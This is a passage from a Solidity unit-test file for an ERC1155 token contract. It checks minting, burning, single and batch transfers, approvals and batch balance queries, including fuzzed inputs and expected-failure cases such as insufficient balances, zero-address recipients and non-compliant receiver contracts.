RevertingERC1155Recipient()), 1337, 1, \"\");\n    }\n\n    function testFailBurnInsufficientBalance() public {\n        token.mint(address(0xBEEF), 1337, 70, \"\");\n        token.burn(address(0xBEEF), 1337, 100);\n    }\n\n    function testFailSafeTransferFromInsufficientBalance() public {\n        ERC1155User from = new ERC1155User(token);\n\n        token.mint(address(from), 1337, 70, \"\");\n\n        from.setApprovalForAll(address(this), true);\n\n        token.safeTransferFrom(address(from), address(0xBEEF), 1337, 100, \"\");\n    }\n\n    function testFailSafeTransferFromSelfInsufficientBalance() public {\n        token.mint(address(this), 1337, 70, \"\");\n        token.safeTransferFrom(address(this), address(0xBEEF), 1337, 100, \"\");\n    }\n\n    function testFailSafeTransferFromToZero() public {\n        token.mint(address(this), 1337, 100, \"\");\n        token.safeTransferFrom(address(this), address(0), 1337, 70, \"\");\n    }\n\n    function testFailSafeTransferFromToNonERC155Recipient() public {\n        token.mint(address(this), 1337, 100, \"\");\n        token.safeTransferFrom(address(this), address(new NonERC1155Recipient()), 1337, 70, \"\");\n    }\n\n    function testFailSafeTransferFromToRevertingERC1155Recipient() public {\n        token.mint(address(this), 1337, 100, \"\");\n        token.safeTransferFrom(address(this), address(new RevertingERC1155Recipient()), 1337, 70, \"\");\n    }\n\n    function testFailSafeTransferFromToWrongReturnDataERC1155Recipient() public {\n        token.mint(address(this), 1337, 100, \"\");\n        token.safeTransferFrom(address(this), address(new WrongReturnDataERC1155Recipient()), 1337, 70, \"\");\n    }\n\n    function testFailSafeBatchTransferInsufficientBalance() public {\n        ERC1155User from = new ERC1155User(token);\n\n        uint256[] memory ids = new uint256[](5);\n        ids[0] = 1337;\n        ids[1] = 1338;\n        ids[2] = 1339;\n        ids[3] = 1340;\n        ids[4] = 1341;\n\n        uint256[] memory mintAmounts = new uint256[](5);\n\n        mintAmounts[0] = 50;\n        mintAmounts[1] = 100;\n        mintAmounts[2] = 150;\n        mintAmounts[3] = 200;\n        mintAmounts[4] = 250;\n\n        uint256[] memory transferAmounts = new uint256[](5);\n        transferAmounts[0] = 100;\n        transferAmounts[1] = 200;\n        transferAmounts[2] = 300;\n        transferAmounts[3] = 400;\n        transferAmounts[4] = 500;\n\n        token.batchMint(address(from), ids, mintAmounts, \"\");\n\n        from.setApprovalForAll(address(this), true);\n\n        token.safeBatchTransferFrom(address(from), address(0xBEEF), ids, transferAmounts, \"\");\n    }\n\n    function testFailSafeBatchTransferFromToZero() public {\n        ERC1155User from = new ERC1155User(token);\n\n        uint256[] memory ids = new uint256[](5);\n        ids[0] = 1337;\n        ids[1] = 1338;\n        ids[2] = 1339;\n        ids[3] = 1340;\n        ids[4] = 1341;\n\n        uint256[] memory mintAmounts = new uint256[](5);\n        mintAmounts[0] = 100;\n        mintAmounts[1] = 200;\n        mintAmounts[2] = 300;\n        mintAmounts[3] = 400;\n        mintAmounts[4] = 500;\n\n        uint256[] memory transferAmounts = new uint256[](5);\n        transferAmounts[0] = 50;\n        transferAmounts[1] = 100;\n        transferAmounts[2] = 150;\n        transferAmounts[3] = 200;\n        transferAmounts[4] = 250;\n\n        token.batchMint(address(from), ids, mintAmounts, \"\");\n\n        from.setApprovalForAll(address(this), true);\n\n        token.safeBatchTransferFrom(address(from), address(0), ids, transferAmounts, \"\");\n    }\n\n    function testFailSafeBatchTransferFromToNonERC1155Recipient() public {\n        ERC1155User from = new ERC1155User(token);\n\n        uint256[] memory ids = new uint256[](5);\n        ids[0] = 1337;\n        ids[1] = 1338;\n        ids[2] = 1339;\n        ids[3] = 1340;\n        ids[4] = 1341;\n\n        uint256[] memory mintAmounts = new uint256[](5);\n        mintAmounts[0] = 100;\n        mintAmounts[1] = 200;\n        mintAmounts[2] = 300;\n        mintAmounts[3] = 400;\n        mintAmounts[4] = 500;\n\n        uint256[] memory transferAmounts = new uint256[](5);\n        transferAmounts[0] = 50;\n        transferAmounts[1] = 100;\n        transferAmounts[2] = 150;\n        transferAmounts[3] = 200;\n        transferAmounts[4] = 250;\n\n        token.batchMint(address(from), ids, mintAmounts, \"\");\n\n        from.setApprovalForAll(address(this), true);\n\n        token.safeBatchTransferFrom(address(from), address(new NonERC1155Recipient()), ids, transferAmounts, \"\");\n    }\n\n    function testFailSafeBatchTransferFromToRevertingERC1155Recipient() public {\n        ERC1155User from = new ERC1155User(token);\n\n        uint256[] memory ids = new uint256[](5);\n        ids[0] = 1337;\n        ids[1] = 1338;\n        ids[2] = 1339;\n        ids[3] = 1340;\n        ids[4] = 1341;\n\n        uint256[] memory mintAmounts = new uint256[](5);\n        mintAmounts[0] = 100;\n        mintAmounts[1] = 200;\n        mintAmounts[2] = 300;\n        mintAmounts[3] = 400;\n        mintAmounts[4] = 500;\n\n        uint256[] memory transferAmounts = new uint256[](5);\n        transferAmounts[0] = 50;\n        transferAmounts[1] = 100;\n        transferAmounts[2] = 150;\n        transferAmounts[3] = 200;\n        transferAmounts[4] = 250;\n\n        token.batchMint(address(from), ids, mintAmounts, \"\");\n\n        from.setApprovalForAll(address(this), true);\n\n        token.safeBatchTransferFrom(address(from), address(new RevertingERC1155Recipient()), ids, transferAmounts, \"\");\n    }\n\n    function testFailSafeBatchTransferFromToWrongReturnDataERC1155Recipient() public {\n        ERC1155User from = new ERC1155User(token);\n\n        uint256[] memory ids = new uint256[](5);\n        ids[0] = 1337;\n        ids[1] = 1338;\n        ids[2] = 1339;\n        ids[3] = 1340;\n        ids[4] = 1341;\n\n        uint256[] memory mintAmounts = new uint256[](5);\n        mintAmounts[0] = 100;\n        mintAmounts[1] = 200;\n        mintAmounts[2] = 300;\n        mintAmounts[3] = 400;\n        mintAmounts[4] = 500;\n\n        uint256[] memory transferAmounts = new uint256[](5);\n        transferAmounts[0] = 50;\n        transferAmounts[1] = 100;\n        transferAmounts[2] = 150;\n        transferAmounts[3] = 200;\n        transferAmounts[4] = 250;\n\n        token.batchMint(address(from), ids, mintAmounts, \"\");\n\n        from.setApprovalForAll(address(this), true);\n\n        token.safeBatchTransferFrom(\n            address(from),\n            address(new WrongReturnDataERC1155Recipient()),\n            ids,\n            transferAmounts,\n            \"\"\n        );\n    }\n\n    function testFailSafeBatchTransferFromWithArrayLengthMismatch() public {\n        ERC1155User from = new ERC1155User(token);\n\n        uint256[] memory ids = new uint256[](5);\n        ids[0] = 1337;\n        ids[1] = 1338;\n        ids[2] = 1339;\n        ids[3] = 1340;\n        ids[4] = 1341;\n\n        uint256[] memory mintAmounts = new uint256[](5);\n        mintAmounts[0] = 100;\n        mintAmounts[1] = 200;\n        mintAmounts[2] = 300;\n        mintAmounts[3] = 400;\n        mintAmounts[4] = 500;\n\n        uint256[] memory transferAmounts = new uint256[](4);\n        transferAmounts[0] = 50;\n        transferAmounts[1] = 100;\n        transferAmounts[2] = 150;\n        transferAmounts[3] = 200;\n\n        token.batchMint(address(from), ids, mintAmounts, \"\");\n\n        from.setApprovalForAll(address(this), true);\n\n        token.safeBatchTransferFrom(address(from), address(0xBEEF), ids, transferAmounts, \"\");\n    }\n\n    function testFailBatchMintToZero() public {\n        uint256[] memory ids = new uint256[](5);\n        ids[0] = 1337;\n        ids[1] = 1338;\n        ids[2] = 1339;\n        ids[3] = 1340;\n        ids[4] = 1341;\n\n        uint256[] memory mintAmounts = new uint256[](5);\n        mintAmounts[0] = 100;\n        mintAmounts[1] = 200;\n        mintAmounts[2] = 300;\n        mintAmounts[3] = 400;\n        mintAmounts[4] = 500;\n\n        token.batchMint(address(0), ids, mintAmounts, \"\");\n    }\n\n    function testFailBatchMintToNonERC1155Recipient() public {\n        NonERC1155Recipient to = new NonERC1155Recipient();\n\n        uint256[] memory ids = new uint256[](5);\n        ids[0] = 1337;\n        ids[1] = 1338;\n        ids[2] = 1339;\n        ids[3] = 1340;\n        ids[4] = 1341;\n\n        uint256[] memory mintAmounts = new uint256[](5);\n        mintAmounts[0] = 100;\n        mintAmounts[1] = 200;\n        mintAmounts[2] = 300;\n        mintAmounts[3] = 400;\n        mintAmounts[4] = 500;\n\n        token.batchMint(address(to), ids, mintAmounts, \"\");\n    }\n\n    function testFailBatchMintToRevertingERC1155Recipient() public {\n        RevertingERC1155Recipient to = new RevertingERC1155Recipient();\n\n        uint256[] memory ids = new uint256[](5);\n        ids[0] = 1337;\n        ids[1] = 1338;\n        ids[2] = 1339;\n        ids[3] = 1340;\n        ids[4] = 1341;\n\n        uint256[] memory mintAmounts = new uint256[](5);\n        mintAmounts[0] = 100;\n        mintAmounts[1] = 200;\n        mintAmounts[2] = 300;\n        mintAmounts[3] = 400;\n        mintAmounts[4] = 500;\n\n        token.batchMint(address(to), ids, mintAmounts, \"\");\n    }\n\n    function testFailBatchMintToWrongReturnDataERC1155Recipient() public {\n        WrongReturnDataERC1155Recipient to = new WrongReturnDataERC1155Recipient();\n\n        uint256[] memory ids = new uint256[](5);\n        ids[0] = 1337;\n        ids[1] = 1338;\n        ids[2] = 1339;\n        ids[3] = 1340;\n        ids[4] = 1341;\n\n        uint256[] memory mintAmounts = new uint256[](5);\n        mintAmounts[0] = 100;\n        mintAmounts[1] = 200;\n        mintAmounts[2] = 300;\n        mintAmounts[3] = 400;\n        mintAmounts[4] = 500;\n\n        token.batchMint(address(to), ids, mintAmounts, \"\");\n    }\n\n    function testFailBatchMintWithArrayMismatch() public {\n        uint256[] memory ids = new uint256[](5);\n        ids[0] = 1337;\n        ids[1] = 1338;\n        ids[2] = 1339;\n        ids[3] = 1340;\n        ids[4] = 1341;\n\n        uint256[] memory amounts = new uint256[](4);\n        amounts[0] = 100;\n        amounts[1] = 200;\n        amounts[2] = 300;\n        amounts[3] = 400;\n\n        token.batchMint(address(0xBEEF), ids, amounts, \"\");\n    }\n\n    function testFailBatchBurnInsufficientBalance() public {\n        uint256[] memory ids = new uint256[](5);\n        ids[0] = 1337;\n        ids[1] = 1338;\n        ids[2] = 1339;\n        ids[3] = 1340;\n        ids[4] = 1341;\n\n        uint256[] memory mintAmounts = new uint256[](5);\n        mintAmounts[0] = 50;\n        mintAmounts[1] = 100;\n        mintAmounts[2] = 150;\n        mintAmounts[3] = 200;\n        mintAmounts[4] = 250;\n\n        uint256[] memory burnAmounts = new uint256[](5);\n        burnAmounts[0] = 100;\n        burnAmounts[1] = 200;\n        burnAmounts[2] = 300;\n        burnAmounts[3] = 400;\n        burnAmounts[4] = 500;\n\n        token.batchMint(address(0xBEEF), ids, mintAmounts, \"\");\n\n        token.batchBurn(address(0xBEEF), ids, burnAmounts);\n    }\n\n    function testFailBatchBurnWithArrayLengthMismatch() public {\n        uint256[] memory ids = new uint256[](5);\n        ids[0] = 1337;\n        ids[1] = 1338;\n        ids[2] = 1339;\n        ids[3] = 1340;\n        ids[4] = 1341;\n\n        uint256[] memory mintAmounts = new uint256[](5);\n        mintAmounts[0] = 100;\n        mintAmounts[1] = 200;\n        mintAmounts[2] = 300;\n        mintAmounts[3] = 400;\n        mintAmounts[4] = 500;\n\n        uint256[] memory burnAmounts = new uint256[](4);\n        burnAmounts[0] = 50;\n        burnAmounts[1] = 100;\n        burnAmounts[2] = 150;\n        burnAmounts[3] = 200;\n\n        token.batchMint(address(0xBEEF), ids, mintAmounts, \"\");\n\n        token.batchBurn(address(0xBEEF), ids, burnAmounts);\n    }\n\n    function testFailBalanceOfBatchWithArrayMismatch() public view {\n        address[] memory tos = new address[](5);\n        tos[0] = address(0xBEEF);\n        tos[1] = address(0xCAFE);\n        tos[2] = address(0xFACE);\n        tos[3] = address(0xDEAD);\n        tos[4] = address(0xFEED);\n\n        uint256[] memory ids = new uint256[](4);\n        ids[0] = 1337;\n        ids[1] = 1338;\n        ids[2] = 1339;\n        ids[3] = 1340;\n\n        token.balanceOfBatch(tos, ids);\n    }\n\n    function testMintToEOA(\n        address to,\n        uint256 id,\n        uint256 amount,\n        bytes memory mintData\n    ) public {\n        if (to == address(0)) to = address(0xBEEF);\n\n        if (uint256(uint160(to)) <= 18 || to.code.length > 0) return;\n\n        token.mint(to, id, amount, mintData);\n\n        assertEq(token.balanceOf(to, id), amount);\n    }\n\n    function testMintToERC1155Recipient(\n        uint256 id,\n        uint256 amount,\n        bytes memory mintData\n    ) public {\n        ERC1155Recipient to = new ERC1155Recipient();\n\n        token.mint(address(to), id, amount, mintData);\n\n        assertEq(token.balanceOf(address(to), id), amount);\n\n        assertEq(to.operator(), address(this));\n        assertEq(to.from(), address(0));\n        assertEq(to.id(), id);\n        assertBytesEq(to.mintData(), mintData);\n    }\n\n    function testBatchMintToEOA(\n        address to,\n        uint256[] memory ids,\n        uint256[] memory amounts,\n        bytes memory mintData\n    ) public {\n        if (to == address(0)) to = address(0xBEEF);\n\n        if (uint256(uint160(to)) <= 18 || to.code.length > 0) return;\n\n        uint256 minLength = min2(ids.length, amounts.length);\n\n        uint256[] memory normalizedIds = new uint256[](minLength);\n        uint256[] memory normalizedAmounts = new uint256[](minLength);\n\n        for (uint256 i = 0; i < minLength; i++) {\n            uint256 id = ids[i];\n\n            uint256 remainingMintAmountForId = type(uint256).max - userMintAmounts[to][id];\n\n            uint256 mintAmount = bound(amounts[i], 0, remainingMintAmountForId);\n\n            normalizedIds[i] = id;\n            normalizedAmounts[i] = mintAmount;\n\n            userMintAmounts[to][id] += mintAmount;\n        }\n\n        token.batchMint(to, normalizedIds, normalizedAmounts, mintData);\n\n        for (uint256 i = 0; i < normalizedIds.length; i++) {\n            uint256 id = normalizedIds[i];\n\n            assertEq(token.balanceOf(to, id), userMintAmounts[to][id]);\n        }\n    }\n\n    function testBatchMintToERC1155Recipient(\n        uint256[] memory ids,\n        uint256[] memory amounts,\n        bytes memory mintData\n    ) public {\n        ERC1155Recipient to = new ERC1155Recipient();\n\n        uint256 minLength = min2(ids.length, amounts.length);\n\n        uint256[] memory normalizedIds = new uint256[](minLength);\n        uint256[] memory normalizedAmounts = new uint256[](minLength);\n\n        for (uint256 i = 0; i < minLength; i++) {\n            uint256 id = ids[i];\n\n            uint256 remainingMintAmountForId = type(uint256).max - userMintAmounts[address(to)][id];\n\n            uint256 mintAmount = bound(amounts[i], 0, remainingMintAmountForId);\n\n            normalizedIds[i] = id;\n            normalizedAmounts[i] = mintAmount;\n\n            userMintAmounts[address(to)][id] += mintAmount;\n        }\n\n        token.batchMint(address(to), normalizedIds, normalizedAmounts, mintData);\n\n        assertEq(to.batchOperator(), address(this));\n        assertEq(to.batchFrom(), address(0));\n        assertUintArrayEq(to.batchIds(), normalizedIds);\n        assertUintArrayEq(to.batchAmounts(), normalizedAmounts);\n        assertBytesEq(to.batchData(), mintData);\n\n        for (uint256 i = 0; i < normalizedIds.length; i++) {\n            uint256 id = normalizedIds[i];\n\n            assertEq(token.balanceOf(address(to), id), userMintAmounts[address(to)][id]);\n        }\n    }\n\n    function testBurn(\n        address to,\n        uint256 id,\n        uint256 mintAmount,\n        bytes memory mintData,\n        uint256 burnAmount\n    ) public {\n        if (to == address(0)) to = address(0xBEEF);\n\n        if (uint256(uint160(to)) <= 18 || to.code.length > 0) return;\n\n        burnAmount = bound(burnAmount, 0, mintAmount);\n\n        token.mint(to, id, mintAmount, mintData);\n\n        token.burn(to, id, burnAmount);\n\n        assertEq(token.balanceOf(address(to), id), mintAmount - burnAmount);\n    }\n\n    function testBatchBurn(\n        address to,\n        uint256[] memory ids,\n        uint256[] memory mintAmounts,\n        uint256[] memory burnAmounts,\n        bytes memory mintData\n    ) public {\n        if (to == address(0)) to = address(0xBEEF);\n\n        if (uint256(uint160(to)) <= 18 || to.code.length > 0) return;\n\n        uint256 minLength = min3(ids.length, mintAmounts.length, burnAmounts.length);\n\n        uint256[] memory normalizedIds = new uint256[](minLength);\n        uint256[] memory normalizedMintAmounts = new uint256[](minLength);\n        uint256[] memory normalizedBurnAmounts = new uint256[](minLength);\n\n        for (uint256 i = 0; i < minLength; i++) {\n            uint256 id = ids[i];\n\n            uint256 remainingMintAmountForId = type(uint256).max - userMintAmounts[address(to)][id];\n\n            normalizedIds[i] = id;\n            normalizedMintAmounts[i] = bound(mintAmounts[i], 0, remainingMintAmountForId);\n            normalizedBurnAmounts[i] = bound(burnAmounts[i], 0, normalizedMintAmounts[i]);\n\n            userMintAmounts[address(to)][id] += normalizedMintAmounts[i];\n            userTransferOrBurnAmounts[address(to)][id] += normalizedBurnAmounts[i];\n        }\n\n        token.batchMint(to, normalizedIds, normalizedMintAmounts, mintData);\n\n        token.batchBurn(to, normalizedIds, normalizedBurnAmounts);\n\n        for (uint256 i = 0; i < normalizedIds.length; i++) {\n            uint256 id = normalizedIds[i];\n\n            assertEq(token.balanceOf(to, id), userMintAmounts[to][id] - userTransferOrBurnAmounts[to][id]);\n        }\n    }\n\n    function testApproveAll(address to, bool approved) public {\n        token.setApprovalForAll(to, approved);\n\n        assertBoolEq(token.isApprovedForAll(address(this), to), approved);\n    }\n\n    function testSafeTransferFromToEOA(\n        uint256 id,\n        uint256 mintAmount,\n        bytes memory mintData,\n        uint256 transferAmount,\n        address to,\n        bytes memory transferData\n    ) public {\n        if (to == address(0)) to = address(0xBEEF);\n\n        if (uint256(uint160(to)) <= 18 || to.code.length > 0) return;\n\n        transferAmount = bound(transferAmount, 0, mintAmount);\n\n        ERC1155User from = new ERC1155User(token);\n\n        token.mint(address(from), id, mintAmount, mintData);\n\n        from.setApprovalForAll(address(this), true);\n\n        token.safeTransferFrom(address(from), to, id, transferAmount, transferData);\n\n        assertEq(token.balanceOf(to, id), transferAmount);\n        assertEq(token.balanceOf(address(from), id), mintAmount - transferAmount);\n    }\n\n    function testSafeTransferFromToERC1155Recipient(\n        uint256 id,\n        uint256 mintAmount,\n        bytes memory mintData,\n        uint256 transferAmount,\n        bytes memory transferData\n    ) public {\n        ERC1155Recipient to = new ERC1155Recipient();\n\n        ERC1155User from = new ERC1155User(token);\n\n        transferAmount = bound(transferAmount, 0, mintAmount);\n\n        token.mint(address(from), id, mintAmount, mintData);\n\n        from.setApprovalForAll(address(this), true);\n\n        token.safeTransferFrom(address(from), address(to), id, transferAmount, transferData);\n\n        assertEq(to.operator(), address(this));\n        assertEq(to.from(), address(from));\n        assertEq(to.id(), id);\n        assertBytesEq(to.mintData(), transferData);\n\n        assertEq(token.balanceOf(address(to), id), transferAmount);\n        assertEq(token.balanceOf(address(from), id), mintAmount - transferAmount);\n    }\n\n    function testSafeTransferFromSelf(\n        uint256 id,\n        uint256 mintAmount,\n        bytes memory mintData,\n        uint256 transferAmount,\n        address to,\n        bytes memory transferData\n    ) public {\n        if (to == address(0)) to = address(0xBEEF);\n\n        if (uint256(uint160(to)) <= 18 || to.code.length > 0) return;\n\n        transferAmount = bound(transferAmount, 0, mintAmount);\n\n        token.mint(address(this), id, mintAmount, mintData);\n\n        token.safeTransferFrom(address(this), to, id, transferAmount, transferData);\n\n        assertEq(token.balanceOf(to, id), transferAmount);\n        assertEq(token.balanceOf(address(this), id), mintAmount - transferAmount);\n    }\n\n    function testSafeBatchTransferFromToEOA(\n        address to,\n        uint256[] memory ids,\n        uint256[] memory mintAmounts,\n        uint256[] memory transferAmounts,\n        bytes memory mintData,\n        bytes memory transferData\n    ) public {\n        if (to == address(0)) to = address(0xBEEF);\n\n        if (uint256(uint160(to)) <= 18 || to.code.length > 0) return;\n\n        ERC1155User from = new ERC1155User(token);\n\n        uint256 minLength = min3(ids.length, mintAmounts.length, transferAmounts.length);\n\n        uint256[] memory normalizedIds = new uint256[](minLength);\n        uint256[] memory normalizedMintAmounts = new uint256[](minLength);\n        uint256[] memory normalizedTransferAmounts = new uint256[](minLength);\n\n        for (uint256 i = 0; i < minLength; i++) {\n            uint256 id = ids[i];\n\n            uint256 remainingMintAmountForId = type(uint256).max - userMintAmounts[address(from)][id];\n\n            uint256 mintAmount = bound(mintAmounts[i], 0, remainingMintAmountForId);\n            uint256 transferAmount = bound(transferAmounts[i], 0, mintAmount);\n\n            normalizedIds[i] = id;\n            normalizedMintAmounts[i] = mintAmount;\n            normalizedTransferAmounts[i] = transferAmount;\n\n            userMintAmounts[address(from)][id] += mintAmount;\n            userTransferOrBurnAmounts[address(from)][id] += transferAmount;\n        }\n\n        token.batchMint(address(from), normalizedIds, normalizedMintAmounts, mintData);\n\n        from.setApprovalForAll(address(this), true);\n\n        token.safeBatchTransferFrom(address(from), to, normalizedIds, normalizedTransferAmounts, transferData);\n\n        for (uint256 i = 0; i < normalizedIds.length; i++) {\n            uint256 id = normalizedIds[i];\n\n            assertEq(token.balanceOf(address(to), id), userTransferOrBurnAmounts[address(from)][id]);\n            assertEq(\n                token.balanceOf(address(from), id),\n                userMintAmounts[address(from)][id] - userTransferOrBurnAmounts[address(from)][id]\n            );\n        }\n    }\n\n    function testSafeBatchTransferFromToERC1155Recipient(\n        uint256[] memory ids,\n        uint256[] memory mintAmounts,\n        uint256[] memory transferAmounts,\n        bytes memory mintData,\n        bytes memory transferData\n    ) public {\n        ERC1155User from = new ERC1155User(token);\n\n        ERC1155Recipient to = new ERC1155Recipient();\n\n        uint256 minLength = min3(ids.length, mintAmounts.length, transferAmounts.length);\n\n        uint256[] memory normalizedIds = new uint256[](minLength);\n        uint256[] memory normalizedMintAmounts = new uint256[](minLength);\n        uint256[] memory normalizedTransferAmounts = new uint256[](minLength);\n\n        for (uint256 i = 0; i < minLength; i++) {\n            uint256 id = ids[i];\n\n            uint256 remainingMintAmountForId = type(uint256).max - userMintAmounts[address(from)][id];\n\n            uint256 mintAmount = bound(mintAmounts[i], 0, remainingMintAmountForId);\n            uint256 transferAmount = bound(transferAmounts[i], 0, mintAmount);\n\n            normalizedIds[i] = id;\n            normalizedMintAmounts[i] = mintAmount;\n            normalizedTransferAmounts[i] = transferAmount;\n\n            userMintAmounts[address(from)][id] += mintAmount;\n            userTransferOrBurnAmounts[address(from)][id] += transferAmount;\n        }\n\n        token.batchMint(address(from), normalizedIds, normalizedMintAmounts, mintData);\n\n        from.setApprovalForAll(address(this), true);\n\n        token.safeBatchTransferFrom(address(from), address(to), normalizedIds, normalizedTransferAmounts, transferData);\n\n        assertEq(to.batchOperator(), address(this));\n        assertEq(to.batchFrom(), address(from));\n        assertUintArrayEq(to.batchIds(), normalizedIds);\n        assertUintArrayEq(to.batchAmounts(), normalizedTransferAmounts);\n        assertBytesEq(to.batchData(), transferData);\n\n        for (uint256 i = 0; i < normalizedIds.length; i++) {\n            uint256 id = normalizedIds[i];\n            uint256 transferAmount = userTransferOrBurnAmounts[address(from)][id];\n\n            assertEq(token.balanceOf(address(to), id), transferAmount);\n            assertEq(token.balanceOf(address(from), id), userMintAmounts[address(from)][id] - transferAmount);\n        }\n    }\n\n    function testBatchBalanceOf(\n        address[] memory tos,\n        uint256[] memory ids,\n        uint256[] memory amounts,\n        bytes memory mintData\n    ) public {\n        uint256 minLength = min3(tos.length, ids.length, amounts.length);\n\n        address[] memory normalizedTos = new address[](minLength);\n        uint256[] memory normalizedIds = new uint256[](minLength);\n\n        for (uint256 i = 0; i < minLength; i++) {\n            uint256 id = ids[i];\n            address to = tos[i] == address(0) ? address(0xBEEF) : tos[i];\n\n            uint256 remainingMintAmountForId = type(uint256).max - userMintAmounts[to][id];\n\n            normalizedTos[i] = to;\n            normalizedIds[i] = id;\n\n            uint256 mintAmount = bound(amounts[i], 0, remainingMintAmountForId);\n\n            token.mint(to, id, mintAmount, mintData);\n\n            userMintAmounts[to][id] += mintAmount;\n        }\n\n        uint256[] memory balances = token.balanceOfBatch(normalizedTos, normalizedIds);\n\n        for (uint256 i = 0; i < normalizedTos.length; i++) {\n            assertEq(balances[i], token.balanceOf(normalizedTos[i], normalizedIds[i]));\n        }\n    }\n\n    function testFailMintToZero(\n        uint256 id,\n        uint256 amount,\n        bytes memory data\n    ) public {\n        token.mint(address(0), id, amount, data);\n    }\n\n    function testFailMintToNonERC155Recipient(\n        uint256 id,\n        uint256 mintAmount,\n        bytes memory mintData\n    ) public {\n        token.mint(address(new NonERC1155Recipient()), id, mintAmount, mintData);\n    }\n\n    function testFailMintToRevertingERC155Recipient(\n        uint256 id,\n        uint256 mintAmount,\n        bytes memory mintData\n    ) public {\n        token.mint(address(new RevertingERC1155Recipient()), id, mintAmount, mintData);\n    }\n\n    function testFailMintToWrongReturnDataERC155Recipient(\n        uint256 id,\n        uint256 mintAmount,\n        bytes memory mintData\n    ) public {\n        token.mint(address(new RevertingERC1155Recipient()), id, mintAmount, mintData);\n    }\n\n    function testFailBurnInsufficientBalance(\n        address to,\n        uint256 id,\n        uint256 mintAmount,\n        uint256 burnAmount,\n        bytes memory mintData\n    ) public {\n        burnAmount = bound(burnAmount, mintAmount + 1, type(uint256).max);\n\n        token.mint(to, id, mintAmount, mintData);\n        token.burn(to, id, burnAmount);\n    }\n\n    function testFailSafeTransferFromInsufficientBalance(\n        address to,\n        uint256 id,\n        uint256 mintAmount,\n        uint256 transferAmount,\n        bytes memory mintData,\n        bytes memory transferData\n    ) public {\n        ERC1155User from = new ERC1155User(token);\n\n        transferAmount = bound(transferAmount, mintAmount + 1, type(uint256).max);\n\n        token.mint(address(from), id, mintAmount, mintData);\n\n        from.setApprovalForAll(address(this), true);\n\n        token.safeTransferFrom(address(from), to, id, transferAmount, transferData);\n    }\n\n    function testFailSafeTransferFromSelfInsufficientBalance(\n        address to,\n        uint256 id,\n        uint256 mintAmount,\n        uint256 transferAmount,\n        bytes memory mintData,\n        bytes memory transferData\n    ) public {\n        transferAmount = bound(transferAmount, mintAmount + 1, type(uint256).max);\n\n        token.mint(address(this), id, mintAmount, mintData);\n        token.safeTransferFrom(address(this), to, id, transferAmount, transferData);\n    }\n\n    function testFailSafeTransferFromToZero(\n        uint256 id,\n        uint256 mintAmount,\n        uint256 transferAmount,\n        bytes memory mintData,\n        bytes memory transferData\n    ) public {\n        transferAmount = bound(transferAmount, 0, mintAmount);\n\n        token.mint(address(this), id, mintAmount, mintData);\n        token.safeTransferFrom(address(this), address(0), id, transferAmount, transferData);\n    }\n\n    function testFailSafeTransferFromToNonERC155Recipient(\n        uint256 id,\n        uint256 mintAmount,\n        uint256 transferAmount,\n        bytes memory mintData,\n        bytes memory transferData\n    ) public {\n        transferAmount = bound(transferAmount, 0, mintAmount);\n\n        token.mint(address(this), id, mintAmount, mintData);\n        token.safeTransferFrom(address(this), address(new NonERC1155Recipient()), id, transferAmount, transferData);\n    }\n\n    function testFailSafeTransferFromToRevertingERC1155Recipient(\n        uint256 id,\n        uint256 mintAmount,\n        uint256 transferAmount,\n        bytes memory mintData,\n        bytes memory transferData\n    ) public {\n        transferAmount = bound(transferAmount, 0, mintAmount);\n\n        token.mint(address(this), id, mintAmount, mintData);\n        token.safeTransferFrom(\n            address(this),\n            address(new RevertingERC1155Recipient()),\n            id,\n            transferAmount,\n            transferData\n        );\n    }\n\n    function testFailSafeTransferFromToWrongReturnDataERC1155Recipient(\n        uint256 id,\n        uint256 mintAmount,\n        uint256 transferAmount,\n        bytes memory mintData,\n        bytes memory transferData\n    ) public {\n        transferAmount = bound(transferAmount, 0, mintAmount);\n\n        token.mint(address(this), id, mintAmount, mintData);\n        token.safeTransferFrom(\n            address(this),\n            address(new WrongReturnDataERC1155Recipient()),\n            id,\n            transferAmount,\n            transferData\n        );\n    }\n\n    function testFailSafeBatchTransferInsufficientBalance(\n        address to,\n        uint256[] memory ids,\n        uint256[] memory mintAmounts,\n        uint256[] memory transferAmounts,\n        bytes memory mintData,\n        bytes memory transferData\n    ) public {\n        ERC1155User from = new ERC1155User(token);\n\n        uint256 minLength = min3(ids.length, mintAmounts.length, transferAmounts.length);\n\n        uint256[] memory normalizedIds = new uint256[](minLength);\n        uint256[] memory normalizedMintAmounts = new uint256[](minLength);\n        uint256[] memory normalizedTransferAmounts = new uint256[](minLength);\n\n        for (uint256 i = 0; i < minLength; i++) {\n            uint256 id = ids[i];\n\n            uint256 remainingMintAmountForId = type(uint256).max - userMintAmounts[address(from)][id];\n\n            uint256 mintAmount = bound(mintAmounts[i], 0, remainingMintAmountForId);\n            uint256 transferAmount = bound(transferAmounts[i], mintAmount + 1, type(uint256).max);\n\n            normalizedIds[i] = id;\n            normalizedMintAmounts[i] = mintAmount;\n            normalizedTransferAmounts[i] = transferAmount;\n\n            userMintAmounts[address(from)][id] += mintAmount;\n        }\n\n        token.batchMint(address(from), normalizedIds, normalizedMintAmounts, mintData);\n\n        from.setApprovalForAll(address(this), true);\n\n        token.safeBatchTransferFrom(address(from), to, normalizedIds, normalizedTransferAmounts, transferData);\n    }\n\n    function testFailSafeBatchTransferFromToZero(\n        uint256[] memory ids,\n        uint256[] memory mintAmounts,\n        uint256[] memory transferAmounts,\n        bytes memory mintData,\n        bytes memory transferData\n    ) public {\n        ERC1155User from = new ERC1155User(token);\n\n        uint256 minLength = min3(ids.length, mintAmounts.length, transferAmounts.length);\n\n        uint256[] memory normalizedIds = new uint256[](minLength);\n        uint256[] memory normalizedMintAmounts = new uint256[](minLength);\n        uint256[] memory normalizedTransferAmounts = new uint256[](minLength);\n\n        for (uint256 i = 0; i < minLength; i++) {\n            uint256 id = ids[i];\n\n            uint256 remainingMintAmountForId = type(uint256).max - userMintAmounts[address(from)][id];\n\n            uint256 mintAmount = bound(mintAmounts[i], 0, remainingMintAmountForId);\n            uint256 transferAmount = bound(transferAmounts[i], 0, mintAmount);\n\n            normalizedIds[i] = id;\n            normalizedMintAmounts[i] = mintAmount;\n            normalizedTransferAmounts[i] = transferAmount;\n\n            userMintAmounts[address(from)][id] += mintAmount;\n        }\n\n        token.batchMint(address(from), normalizedIds, normalizedMintAmounts, mintData);\n\n        from.setApprovalForAll(address(this), true);\n\n        token.safeBatchTransferFrom(address(from), address(0), normalizedIds, normalizedTransferAmounts, transferData);\n    }\n\n    function testFailSafeBatchTransferFromToNonERC1155Recipient(\n        uint256[] memory ids,\n        uint256[] memory mintAmounts,\n        uint256[] memory 